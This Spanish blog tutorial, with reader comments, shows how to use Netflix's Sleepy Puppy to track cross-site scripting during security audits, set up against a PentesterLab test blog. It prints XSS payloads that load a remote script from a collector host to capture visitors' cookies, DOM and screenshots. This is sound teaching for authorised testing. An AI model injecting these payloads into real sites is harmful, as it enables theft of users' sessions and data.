Rastreando XSS con Sleepy Puppy

Cross Site Scripting (XSS) es una vulnerabilidad que permite ejecutar código JavaScript en el navegador de la víctima sin su consentimiento. Por ejemplo, un XSS permite a un atacante, entre muchas posibilidades, mostrar el clásico mensaje mediante un pop-up, redirigir el navegador de la víctima a un sitio de terceros o robar las cookies de su sesión.

La herramienta que ocupa esta entrada es Sleepy Puppy y fue lanzada por Netflix en 2015 (sí, la Netflix que todos conocemos). Ésta permite, principalmente, mediante la inyección de determinados payloads en JavaScript, seguir la traza de las vulnerabilidades XSS obteniendo información de las víctimas del ataque. La información obtenida de éstas abarca desde cookies, hasta su user-agent, el código del DOM o una captura del sitio afectado (entre muchas más posibilidades).

La siguiente imagen (obtenida del blog de Netflix) muestra el proceso:

(fuente: http://techblog.netflix.com/2015/08/announcing-sleepy-puppy-cross-site.html)

En la imagen se observa que un atacante puede introducir un payload XSS en determinada parte de una aplicación, por ejemplo, como comentario a una entrada de un blog. Suponiendo que exista una vulnerabilidad de Cross Site Scripting al mostrar el comentario, todos los usuarios que visiten la entrada quedarán registrados en el panel de control de Sleepy Pyppy.

Además, dicho comentario posteriormente puede mostrarse en el panel de administración del blog. En este punto, y suponiendo que también exista una vulnerabilidad de XSS en dicho panel el administrador también quedará registrado en Sleepy Puppy sabiendo así que también existe una vulnerabilidad en esta parte de la aplicación.

Por tanto, mediante esta herramienta ha sido posible obtener información, no solo de las víctimas del XSS que han visto el comentario, sino también de que existe una vulnerabilidad en el panel de administración del blog.

Una vez conocidas las posibilidades de la herramienta, vamos a realizar un ejemplo mediante un blog de prueba (cortesía de uno de los ejemplos de PentesterLab).

Primero es necesario obtener la herramienta, para ello y dado el carácter open source de ésta, nuestra primera parada es su GitHub. Para su despliegue se nos ofrecen dos posibilidades:

Para acceder a la aplicación es necesario autenticarse en el login con las credenciales por defecto (admin/password) para así poder acceder a su panel de administración:

Entre los distintos menús se ofrecen las siguientes posibilidades:

  • Puppyscript: Contiene los distintos scripts que se ejecutarán cuando se explote la vulnerabilidad XSS.
  • Payload: Recoge los distintos payloads para explotar las vulnerabilidades.
  • Capture: La información obtenida mediante la ejecución del “puppyscript” por defecto. Entre ella se encuentran las cookies o las capturas de pantalla.
  • Generic Collector: Muestra información obtenida por otros “puppyscripts” como puede ser la dirección IP de los usuarios que han sido víctimas del XSS.
  • Accesslog: Logs de acceso a la aplicación.
  • User: Los usuarios que participan en los distintos assessment.
  • Assessment: Los proyectos que se gestionan con Sleepy Puppy.
  • Administrator: Administración de los usuarios de la aplicación.

Conocidas las posibilidades, vamos a realizar la prueba de concepto. Para ello utilizaremos el siguiente blog:

En él publicaremos un comentario con un payload de XSS y veremos su seguimiento mediante Sleepy Puppy.

Primero configuramos el proyecto en la herramienta. Partiendo de que ya hemos iniciado sesión, vamos a la pestaña Assessment y creamos uno nuevo, en mi caso lo he llamado SAW:

En el siguiente paso, mediante la pestaña User añadimos el correo electrónico para recibir las distintas notificaciones que enviará Sleepy Puppy (si las hemos habilitado) relativas al assesment previamente creado.

Con ello configurado vamos a revisar las pestañas de Puppyscript y Payload, en ellas seleccionaremos los distintos scripts a ejecutar y el payload que lo hará posible. En la primera pestaña, vemos las distintas posibilidades que nos ofrecen los scripts que vienen de base (también podemos crear los nuestros).

Mientras que en la segunda aparecen los distintos payloads y el puppyscript al que van asociado:

Para la prueba utilizaremos el puppyscript llamado “Default” y el payload con Id 1:

<script src=$1></script>

Entonces, desde la pestaña Assesment marcamos el creado previamente (SAW) y copiamos el payload con Id 1 (modificando la IP si es necesario):

<script src=//172.18.0.1/x?u=1&a=3></script>

Dicho payload lo insertamos en la sección de comentarios del blog:

A partir de este momento, cada vez que se ejecute el XSS, éste quedará clasificado en la sección Assesment y la información obtenida en la sección Capture:

Además, si existe una vulnerabilidad Cross Site Scripting en otra parte de la aplicación que utilice el recurso, como puede ser el panel de moderación del administrador, también quedará prueba de ello en Sleepy Puppy:

Mediante esta herramienta es posible seguir la traza a los Cross Site Scripting que se van utilizando a lo largo de una auditoría y comprobar el alcance que pueden llegar a tener. Además, debido a las posibilidades de expansión que ofrece la herramienta como son el añadir payloads y puppyscripts propios, también permite integrarla en herramientas de terceros mediante una API propia así como una extensión para Burp.

Si os interesa la aplicación y queréis más información sobre ésta tienen una completa guía en su GitHub:

¡Nos leemos en “breve”!

Comments

  1. Gran artículo y gran proyecto.
    Gracias Vícto

  2. Hola, serias tan amable de hacer un post de lo siguiente?

    “Despliegue para pruebas mediante docker (para esta entrada hemos escogido esta opción)”

    No conocía esta opción

    Saludos!

  3. Víctor Calvo says:

    @Ernesto
    Muchas gracias, la verdad es que es un proyecto muy interesante.

    @Jorge
    En lo que respecta al despliegue de Sleepy Puppy en docker, en este enlace de la documentación explican como realizarlo:
    https://github.com/netflix/sleepy-puppy/wiki/docker

    Un saludo y gracias por comentar